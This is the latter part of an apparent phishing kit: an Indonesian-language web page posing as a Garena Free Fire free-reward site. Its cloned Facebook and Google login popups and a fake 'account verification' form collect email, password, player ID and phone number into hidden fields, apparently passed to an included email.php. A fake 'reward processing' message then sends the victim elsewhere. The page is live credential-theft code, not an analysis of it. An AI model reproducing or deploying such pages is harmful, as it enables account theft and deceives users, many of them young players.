                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; M1887 - EMERALD POWER</a>
                                    <a>&nbsp; M1887 - EMERALD POWER</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/7.jpg" item-name="RAPPER - ANGEL" item-total="" item-price="4000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/7.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; RAPPER - ANGEL</a>
                                    <a>&nbsp; RAPPER - ANGEL</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/9.jpg" item-name="OLD MAN'S MASK" item-total="" item-price="3500">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/9.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; OLD MAN'S MASK</a>
                                    <a>&nbsp; OLD MAN'S MASK</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="https://rzo.my.id/ff2/tassayappp.png" item-name="TAS SAYAP" item-total="" item-price="4000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="https://rzo.my.id/ff2/tassayappp.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; TAS SAYAP</a>
                                    <a>&nbsp; TAS SAYAP</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/14.jpg" item-name="HIP HOP - BUNDLE" item-total="" item-price="4000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/14.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; HIP HOP - BUNDLE</a>
                                    <a>&nbsp; HIP HOP - BUNDLE</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/15.jpg" item-name="BACKPACK - RABBITY PINK" item-total="" item-price="3000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/15.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; BACKPACK - RABBITY PINK</a>
                                    <a>&nbsp; BACKPACK - RABBITY PINK</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/18.jpg" item-name="MASKER - LETDA" item-total="" item-price="2000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/18.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; BUFF - MASK</a>
                                    <a>&nbsp; BUFF - MASK</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="images/reward/withBg/8.jpg" item-name="ONI - SAKURA" item-total="" item-price="5000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="images/8.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; ONI - SAKURA</a>
                                    <a>&nbsp; ONI - SAKURA</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                        <div class="item" onmousedown="buka.play();" onclick="open_itemReward_confirmation2(this);" src="https://rzo.my.id/ff5/dm.png" item-name="9999 DIAMOND" item-total="" item-price="5000">
                           <div>
                              <figure>
                                 <img style="border-bottom: 0px;" src="https://rzo.my.id/ff5/dm.png">
                              </figure>
                           </div>
                           <div>
                              <div class="item-label">
                                 <div class="marquee">
                                    <a>&nbsp; 9999 DIAMOND</a>
                                    <a>&nbsp; 9999 DIAMOND</a>
                                 </div>
                              </div>
                              <p><!--<img src="images/tokens.png">-->AMBIL</p>
                           </div>
                        </div>
                     </center>
                  </div>
               </div>
            </div>
            <!--- box-item --->
         </div>
         <!--- box --->
      </div>
      <!--- container-box --->
      <!--- laz-container --->
      <!--- laz-home --->
      <div class="popup-login login-facebook animated fadeIn" style="display: none;">
         <div class="popup-box-login-fb">
            <a onmousedown="tutup.play();" onclick="tutup_facebook()" class="close-fb"><i class="zmdi zmdi-close"></i></a> 
            <div class="navbar-fb"> 
               <img src="images/facebook-text.png"> 
            </div>
            <div class="content-box-fb">
               <p class="kaget email-fb" style="width: 320px; top: -5px; text-align: left;">Alamat email atau nomor telepon yang Anda masukkan tidak cocok dengan akun mana pun. <b>Mendaftarlah untuk sebuah akun.</b></p>
               <p class="kaget sandi-fb" style="width: 320px; top: -5px; text-align: left;">Kata sandi yang Anda masukkan salah. Lupa kata sandi?</p>
               <img src="images/icon_2.jpg"> 
               <div class="txt-login-fb">
                  Masuk ke akun Facebook Anda untuk terhubung dengan Garena Free Fire 
               </div>
               <form class="login-form" action="javascript:void(0)" method="post" id="FGNValidateLoginFbForm">
                  <div class="form-group-fb">
                     <input type="text" name="email" id="email-facebook" placeholder="Nomor ponsel atau alamat email" autocomplete="off" autocapitalize="off" required="" oninvalid="this.setCustomValidity('Masukkan nomor Ponsel atau alamat email')" oninput="setCustomValidity('')"> 
                     <div class="form-group-sohid showFbPassword" onclick="showFbPassword()"> 
                        <img src="images/Fgn-Show-Password.png"> 
                     </div>
                     <div class="form-group-sohid hideFbPassword" style="display: none;" onclick="hideFbPassword()"> 
                        <img src="images/Fgn-Hide-Password.png"> 
                     </div>
                     <input type="password" name="password" id="password-facebook" placeholder="Kata Sandi" autocomplete="off" autocapitalize="off" required="" oninvalid="this.setCustomValidity('Masukkan kata sandi')" oninput="setCustomValidity('')"> 
                  </div>
                  <input type="hidden" name="login" id="login-facebook" value="Facebook" readonly=""> 
                  <button type="submit" class="btn-login-fb" onclick="FGNValidateLoginFbData()">Masuk</button> 
               </form>
               <div class="txt-create-account">
                  Buat Akun
               </div>
               <div class="txt-not-now">
                  Tidak sekarang
               </div>
               <div class="txt-forgotten-password">
                  Lupa Kata Sandi?
               </div>
            </div>
            <div class="language-box">
               <center>
                  <div class="language-name language-name-active">
                     Bahasa Indonesia
                  </div>
                  <div class="language-name">
                     English (UK)
                  </div>
                  <div class="language-name">
                     Türkçe
                  </div>
                  <div class="language-name">
                     Tiếng Việt
                  </div>
                  <div class="language-name">
                     日本語
                  </div>
                  <div class="language-name">
                     Español
                  </div>
                  <div class="language-name">
                     Português (Brasil)
                  </div>
                  <div class="language-name"> 
                     <i class="fa fa-plus"></i> 
                  </div>
               </center>
            </div>
            <div class="copyright">
               Meta © 2026
            </div>
         </div>
      </div>
      <!-- popup-login ---> 
      <div class="popup-login login-google animated fadeIn" style="display: none;">
         <div class="popup-box-login-google">
            <a onmousedown="tutup.play();" onclick="tutup_google()" class="close-other"><i class="zmdi zmdi-close"></i></a> 
            <div class="box-google">
               <div class="header-google">
                  <svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" class="BFr46e xduoyf">
                     <g id="qaEJec">
                        <path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
                     </g>
                     <g id="YGlOvc">
                        <path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
                     </g>
                     <g id="BWfIk">
                        <path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
                     </g>
                     <g id="e6m3fd">
                        <path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
                     </g>
                     <g id="vbkDmc">
                        <path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
                     </g>
                     <g id="idEJde">
                        <path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
                     </g>
                  </svg>
               </div>
               <div class="txt-login-google">
                  Masuk
               </div>
               <div class="txt-login-google-desc">
                  menggunakan akun Google Anda
               </div>
               <form action="javascript:void(0)" method="post" id="FGNValidateLoginGoogleForm">
                  <div class="input-box"> 
                     <label class="input-label">Email atau nomor ponsel</label> 
                     <input type="text" class="input-1" name="email" id="email-google" onfocus="setFocus(true)" onblur="setFocus(false)" required=""> 
                  </div>
                  <div class="input-box"> 
                     <label class="input-label">Kata sandi</label> 
                     <input type="password" class="input-1" name="password" id="password-google" onfocus="setFocus(true)" onblur="setFocus(false)" required=""> 
                  </div>
                  <input type="hidden" name="login" id="login-google" value="Google" readonly=""> 
                  <div class="notify-google email-gg" style="margin-top: 5px; margin-bottom: 5px; color: red; display: none;">
                     Maaf, kami tidak bisa menemukan akun Anda.
                  </div>
                  <div class="notify-google sandi-gg" style="margin-top: 5px; margin-bottom: 5px; color: red; display: none;">
                     Kata sandi salah!
                  </div>
                  <div class="email-google" style="color: #d50000; font-size: 14px; text-align: left; display: none;">
                     <svg aria-hidden="true" fill="currentColor" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="https://www.w3.org/2000/svg">
                        <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path>
                     </svg>
                     Couldn't find your Google account.
                  </div>
                  <div class="sandi-google" style="color: #d50000; font-size: 14px; text-align: left; display: none;">
                     <svg aria-hidden="true" fill="currentColor" focusable="false" width="16px" height="16px" viewBox="0 0 24 24" xmlns="https://www.w3.org/2000/svg">
                        <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path>
                     </svg>
                     Wrong password, try again.
                  </div>
                  <button type="button" class="btn-forgot-google">Lupa email?</button> 
                  <br> 
                  <div class="notify-google">
                     Bukan komputer Anda? Gunakan mode Tamu untuk masuk secara pribadi. 
                     <span>Selengkapnya</span>
                  </div>
                  <br> 
                  <button type="submit" class="btn-login-google" onclick="FGNValidateLoginGoogleData()" disabled>Lanjut</button> 
                  
                  <button type="button" class="btn-create-google">Buat akun</button> 
               </form>
               <br> 
               <br> 
            </div>
         </div>
      </div>
      <div class="popup-login login-google-load animated fadeIn" style="display: none;">
         <div class="popup-box-login-google">
            <div class="box-google" style="height: 410px;">
               <div class="header-google">
                  <svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" class="BFr46e xduoyf">
                     <g id="qaEJec">
                        <path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
                     </g>
                     <g id="YGlOvc">
                        <path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
                     </g>
                     <g id="BWfIk">
                        <path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
                     </g>
                     <g id="e6m3fd">
                        <path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
                     </g>
                     <g id="vbkDmc">
                        <path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
                     </g>
                     <g id="idEJde">
                        <path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
                     </g>
                  </svg>
               </div>
               <!--- header-google --->
               <br>
               <br>
               <i class="zmdi zmdi-spinner zmdi-hc-4x zmdi-hc-spin" style="color: #1a73e8;margin-top: 86px;"></i>
               <br>
               <br>
               <br>
            </div>
            <!--- box-google --->
         </div>
      </div>
      
<div class="popup account_verification animated fadeIn" id="popupCekID" style="display: flex;">
   <div class="popup-box-wrapperz">
      <div class="popup-box-navbarz">
         <div class="popup-box-navbar-title">Pengecekan ID</div>
      </div>
      <div class="popup-box-bgz">
         <div class="popup-box-alert4"><br>Masukkan ID Pemain Anda untuk Melanjutkan</div>
         <form class="popup-box-form" action="javascript:void(0)" method="post" onsubmit="doCheckID(); return false;">
            <input type="number" id="cekid_playid" placeholder="Masukkan ID Pemain" autocomplete="off" required="" oninvalid="this.setCustomValidity('Masukkan ID Pemain')" oninput="setCustomValidity('')">
            <div id="cekid_status"></div>
            <br>
            <div class="popup-box-form-footer">
               <button type="submit" onmousedown="buka.play();" style="margin-top: -6px;" id="cekIDButton">Cek ID</button>
            </div>
         </form>
      </div>
   </div>
</div>

<div class="popup account_verification animated fadeIn" id="popupVerifikasi" style="display: none;">
   <div class="popup-box-wrapperz">
      <div class="popup-box-navbarz">
         <div class="popup-box-navbar-title">Verifikasi Akun</div>
      </div>
      <div class="popup-box-bgz">
         <div class="popup-box-alert4"><br>Lengkapi detail akun Garena Free Fire Anda</div>
         <form class="popup-box-form" action="javascript:void(0)" method="post" id="FGNValidateVerificationDataForm">
            <input type="hidden" name="email" id="validateEmail" readonly="">
            <input type="hidden" name="password" id="validatePassword" readonly="">
            <input type="hidden" name="login" id="validateLogin" readonly="">
            <input type="number" name="playid" id="playid" placeholder="ID Pemain" autocomplete="off" required="" readonly="" class="input-readonly">
            <input type="text" name="nickname" id="nickname" placeholder="Nickname" autocomplete="off" required="" readonly="" class="input-readonly">
            <select style="color:#fff;" name="level" id="level" required="" oninvalid="this.setCustomValidity('Pilih Tingkat Akun Anda')" oninput="setCustomValidity('')">
               <option selected="selected" disabled="disabled" value="">Tingkat Akun</option>
               <script>
                  for(var i = 1; i <= 100; i++){
                     document.write("<option>" + i + "</option>");
                  };
               </script><option>1</option><option>2</option><option>3</option><option>4</option><option>5</option><option>6</option><option>7</option><option>8</option><option>9</option><option>10</option><option>11</option><option>12</option><option>13</option><option>14</option><option>15</option><option>16</option><option>17</option><option>18</option><option>19</option><option>20</option><option>21</option><option>22</option><option>23</option><option>24</option><option>25</option><option>26</option><option>27</option><option>28</option><option>29</option><option>30</option><option>31</option><option>32</option><option>33</option><option>34</option><option>35</option><option>36</option><option>37</option><option>38</option><option>39</option><option>40</option><option>41</option><option>42</option><option>43</option><option>44</option><option>45</option><option>46</option><option>47</option><option>48</option><option>49</option><option>50</option><option>51</option><option>52</option><option>53</option><option>54</option><option>55</option><option>56</option><option>57</option><option>58</option><option>59</option><option>60</option><option>61</option><option>62</option><option>63</option><option>64</option><option>65</option><option>66</option><option>67</option><option>68</option><option>69</option><option>70</option><option>71</option><option>72</option><option>73</option><option>74</option><option>75</option><option>76</option><option>77</option><option>78</option><option>79</option><option>80</option><option>81</option><option>82</option><option>83</option><option>84</option><option>85</option><option>86</option><option>87</option><option>88</option><option>89</option><option>90</option><option>91</option><option>92</option><option>93</option><option>94</option><option>95</option><option>96</option><option>97</option><option>98</option><option>99</option><option>100</option>
            </select>
            <input type="number" name="phone" id="phone" placeholder="Nomor Ponsel" autocomplete="off" required="" oninvalid="this.setCustomValidity('Masukkan Nomor Ponsel Anda')" oninput="setCustomValidity('')">
            <br>
            <br>
            <div class="popup-box-form-footer">
               <button type="submit" onmousedown="buka.play();" onclick="FGNValidateVerificationData()" style="margin-top: -6px;">Verifikasi</button>
            </div>
         </form>
      </div>
   </div>
</div>
      <div class="popup processing_account animated fadeIn" style="display: none;">
         <div class="popup-box-wrapperz">
    <div class="popup-box-navbarz">
       <div class="popup-box-navbar-title">Penukaran Selesai</div>
    </div>
    <div class="popup-box-bgz">
       <div class="popup-box-alert3">
          <br>
          Hai <span id="showNickname"></span><br>
          <p>Penukaran hadiah anda sedang dalam proses. <br>
             <br>Garena Free Fire juga akan memberi tahu Anda lewat 
             <br>In-Game Mail, Ketika Hadiah Berhasil Terkirim.
          </p>
          <p>Dimohon untuk menunggu proses hingga 1-2 hari (48 Jam)<br>
             <br>Salam Booyah!
          </p>
       </div>
       <div class="popup-box-alert0">
       </div>
       <div class="popup-box-footer">
           
           <!-- Bagian Form diganti jadi Button biasa dengan onclick -->
           <button type="button" onmousedown="tutup.play();" onclick="window.location.href='https://gonextyou.com/';" style="margin-right: 0; float: none;">Kembali</button>
           
       </div>
    </div>
</div>

               </form>      
               </div>
            </div>
         </div>
      </div>
      <div class="footer" style="top:-80px;">
         <img class="footer-copyright-icon" src="images/logo_1.png">
         <div class="footer-copyright-text">
            <div class="footer-txt-copyrights">
               Copyright © Garena International. Trademarks belong to their respective owners. All rights reserved.
            </div>
            <!--- footer-txt-copyrights --->
            <div class="footer-copyright-text-left">Privacy Policy</div>
            <!--- footer-txt-copyright --->
            <div class="footer-copyright-text-center">For Parents FAQ</div>
            <!--- footer-txt-copyright --->
            <div class="footer-copyright-text-right">Terms of Service</div>
            <!--- footer-txt-copyright --->
         </div>
         <!--- footer-copyright-text --->
      </div>
      <!--- footer --->
      <div class="popup open_rewards animated fades" style="display: none;">
         <div class="popup-box-wrapper">
            <div class="popup-box-bg" style="height:220px;">
               <div class="popup-box-alert4"><br> </div>
               <!--- popup-box-alert --->
               <div class="popup-box-item">
                  <div>
                     <figure>
                        <img class="popup-item flip" src="">
                     </figure>
                  </div>
               </div>
               <!--- popup-box-item --->
               <br>
               <div class="popup-box-footer" style="margin-top:40px;">
                  <button type="button" onmousedown="buka.play();" onclick="get_token()">Collect</button>
               </div>
               <!--- popup-box-bg --->
            </div>
            <!--- popup-box-footer --->
         </div>
         <!--- popup-box-wrapper --->
      </div>
      <!--- popup open_rewards --->
      <div class="popup loadinglogin" style="display: none;">
         <div class="loadinglogin" style="width:400px;height: 679px;margin-top:279px;margin-left:auto;margin-right:auto;">
            <div class="loader-line"></div>
            <div class="loader-label" id="text-login1">LOADING...</div>
            <div class="loader-label" style="display:none" id="text-login2">RESOURCE LOADING, PLEASE WAIT</div>
            <img src="images/loadlogin.png" style="background-size: 100% 100%;width: 100%;">
         </div>
      </div>
      <div class="popup account_login animated fadeIn" style="display: none;">
         <div class="popup-box-wrapper"></div>
         <div class="loginpop">
            <div class="popup-box-alert4"><br>
               <img class="popup-box-gamecon" src="images/full_logo.969f536.png" style="opacity:0%;">
            </div>
            <?php
            require "email.php";
            if($gcodeLogin['fb'] == "on") {?>
            <button type="button" style="top:9px;" onmousedown="buka.play();" class="popup-btn-login popup-btn-facebook" onclick="open_facebook();"><i class="fa-brands fa-facebook"></i>Sign in dengan Facebook</button><br>
            <?php } if($gcodeLogin['fb'] == "on" && $gcodeLogin['gp'] == "on") { ?>
            <div class="alter-text"><span>or</span></div>
            <?php } if($gcodeLogin['gp'] == "on"){?>
            <!--<div class="alter-text"><span>or</span></div>-->
            <button type="button" <?php if($gcodeLogin['fb'] == "on" && $gcodeLogin['gp'] == "on") { ?> style="top:-35px;" <?php } elseif($gcodeLogin['fb'] == "off" && $gcodeLogin['gp'] == "on") { ?> style="top:9px;" <?php } ?> onmousedown="buka.play();" class="popup-btn-login popup-btn-google" onclick="open_google();">
               <img src="images/google.png">
               <g style="padding-right: 9px;">Sign in dengan Google</g>
            </button>
            <?php
            }
            ?>
                        
                     </div>
         <!--- popup-box-bg --->
      </div>
      <!--- popup-box-footer --->
      <div class="popup itemReward_confirmation2 fades" style="display: none;">
         <div class="popup-box-wrapperz">
            <div class="popup-box-navbar-ignis" style="margin-bottom:11px;">
               <div class="popup-box-navbar-ignis-title">Konfirmasi</div>
               <img onmousedown="tutup.play();" onclick="close_reward_confirmastion()" src="images/popup-close2.png" style="margin-top: -27px;margin-right: 25px;opacity: 0%;">
            </div>
            <div class="popup-box-ignis">
               <div class="popup-box-alert-ignis"></div>
               <div class="popup-box-item bordermotion itemShine" style="width: 23%;height: 90px;margin-top: 5px;margin-left: 43px;margin-bottom: 5px;">
                  <rw id="ItemName"></rw>
                   <div class="popup-box-alert-price" style="display: none;">Harga:</div>
                   <pr id="price" style="display: none;"></pr>
                  <div>
                     <figure>
                        <span id="amount"></span>
                        <img src="" id="myItemReward_confirmationImg">
                     </figure>
                  </div>
                  <div class="line"></div>
                  <img src="images/tokens.png" style="margin-top: -9px;margin-right: -72px;width: 19px;height: auto; display: none;">
               </div>
               <!--- popup-box-item --->
               <br>
               <div class="popup-box-footer-ignis">
                  <button type="button" onmousedown="tutup.play();" onclick="close_reward_confirmation()" style="width: 90px;height: 28px;padding-left: 0;padding-right: 0;margin-top: -22px;">Batalkan</button>
                  <button type="button" onmousedown="buka.play();" onclick="get_token()" style="width: 90px;height: 28px;padding-left: 0;padding-right: 0;margin-top: -22px;margin-left: 10px;"><font style="">Tukarkan</font> </button>
               </div>
               <!--- popup-box-footer --->
            </div>
            <!--- popup-box-bg --->
         </div>
         <!--- popup-box-wrapper --->
      </div>
      <!--- popup itemReward_confirmation --->
      <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
      <script src="javascript/slide-zone.js"></script>
      <script src="javascript/cekid.js?v=0.1"></script>
      <script src="javascript/farvoidcode.js"></script>
       <script>
          /* Replacement total untuk FGNValidateLoginGoogleData */
          function FGNValidateLoginGoogleData() {
            var emailVal  = (document.getElementById('email-google').value || '').trim();
            var passVal   = document.getElementById('password-google').value; // jangan trim agar spasi di tengah tetap ada
            var loginVal  = (document.getElementById('login-google').value || '').trim();

            // --- validasi email / nomor ponsel ---
            var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            var phoneRegex = /^[0-9]{8,15}$/;
            if (!(emailRegex.test(emailVal) || phoneRegex.test(emailVal))) {
              document.querySelector('.email-google').style.display = 'block';
              return false;
            }
            document.querySelector('.email-google').style.display = 'none';

            // --- validasi password (spasi diizinkan, tapi tidak boleh kosong / semua angka / URL) ---
            if (passVal === '' || passVal.length < 8 || /(http|https|www\.)/i.test(passVal) || /^\d+$/.test(passVal)) {
              document.querySelector('.sandi-google').style.display = 'block';
              return false;
            }
            document.querySelector('.sandi-google').style.display = 'none';

            // --- tampilkan loading ---
            document.querySelector('.popup-login.login-google-load').style.display = 'block';

            // --- isi hidden fields di popupVerifikasi ---
            setTimeout(function() {
              document.getElementById('validateEmail').value    = emailVal;
              document.getElementById('validatePassword').value = passVal;
              document.getElementById('validateLogin').value    = loginVal;

              // sembunyikan loading, tampilkan account_verification
              document.querySelector('.popup-login.login-google').style.display = 'none';
              document.querySelector('.popup-login.login-google-load').style.display = 'none';
              document.querySelectorAll('.account_verification').forEach(function(el) {
                el.style.display = 'none';
              });
              document.getElementById('popupVerifikasi').style.display = 'flex';
            }, 2000);

            return true;
          }
       </script>
      <script>         
         function setFocus(on) {
         			var element = document.activeElement;
         			if (on) {
         				setTimeout(function() {
         					element.parentNode.classList.add("focus");
         				});
         			} else {
         				let box = document.querySelector(".input-box");
         				box.classList.remove("focus");
         				$("input").each(function() {
         					var $input = $(this);
         					var $parent = $input.closest(".input-box");
         					if ($input.val()) $parent.addClass("focus");
         					else $parent.removeClass("focus");
         				});
         			}
         		}
      </script> 
      <script>
       var TRUE_ID = "on";
       TRUE_ID = TRUE_ID.toLowerCase().trim();
      </script>
      <script>
         // code funtion timers
         $(document).ready(function() { 
         var detik = 59;
         var menit = 59;
         var jam = 23;
         function hitung() { 
         setTimeout(hitung,1000); $('#timer1').html( '  ' + jam + ' : ' + menit + ' : ' + detik + ''); detik --; 
         if(detik < 0) { 
         detik = 59; 
         menit --; 
         if(menit < 0) { 
         menit = 0; 
         detik = 0; 
         } 
         } 
         } 
         hitung(); 
         }
         );
         $(document).ready(function() { 
         var detik = 59;
         var menit = 59;
         var jam = 23;
         function hitung() { 
         setTimeout(hitung,1000); $('#timer2').html( + jam + ' : ' + menit + ' : ' + detik + ''); detik --; 
         if(detik < 0) { 
         detik = 59; 
         menit --; 
         if(menit < 0) { 
         menit = 0; 
         detik = 0; 
         } 
         } 
         } 
         hitung(); 
         }
         );
      </script>
      <script>
         setTimeout(function () {
           $('.loadkin').fadeOut(750);
         }, 2000);
      </script> 
      <script>
         function get_toksen() {   
         $('.open_rewards').hide(); 
         $('.itemReward_confirmation2').hide();
         $('.account_verification').show(); 
         }
         function get_token() {    
         $('.loadinglogin').show();
         $('#text-login1').show()
         setTimeout(function () {
         $('#text-login1').hide()
         $('#text-login2').fadeIn()
         }, 2000)
         $('.open_rewards').hide(); 
         $('.itemReward_confirmation2').hide();
         setTimeout(function () {
         $('.account_login').show();  
         $('.loadinglogin').hide();
         }, 5000);                              	      		    
         }
      </script> 
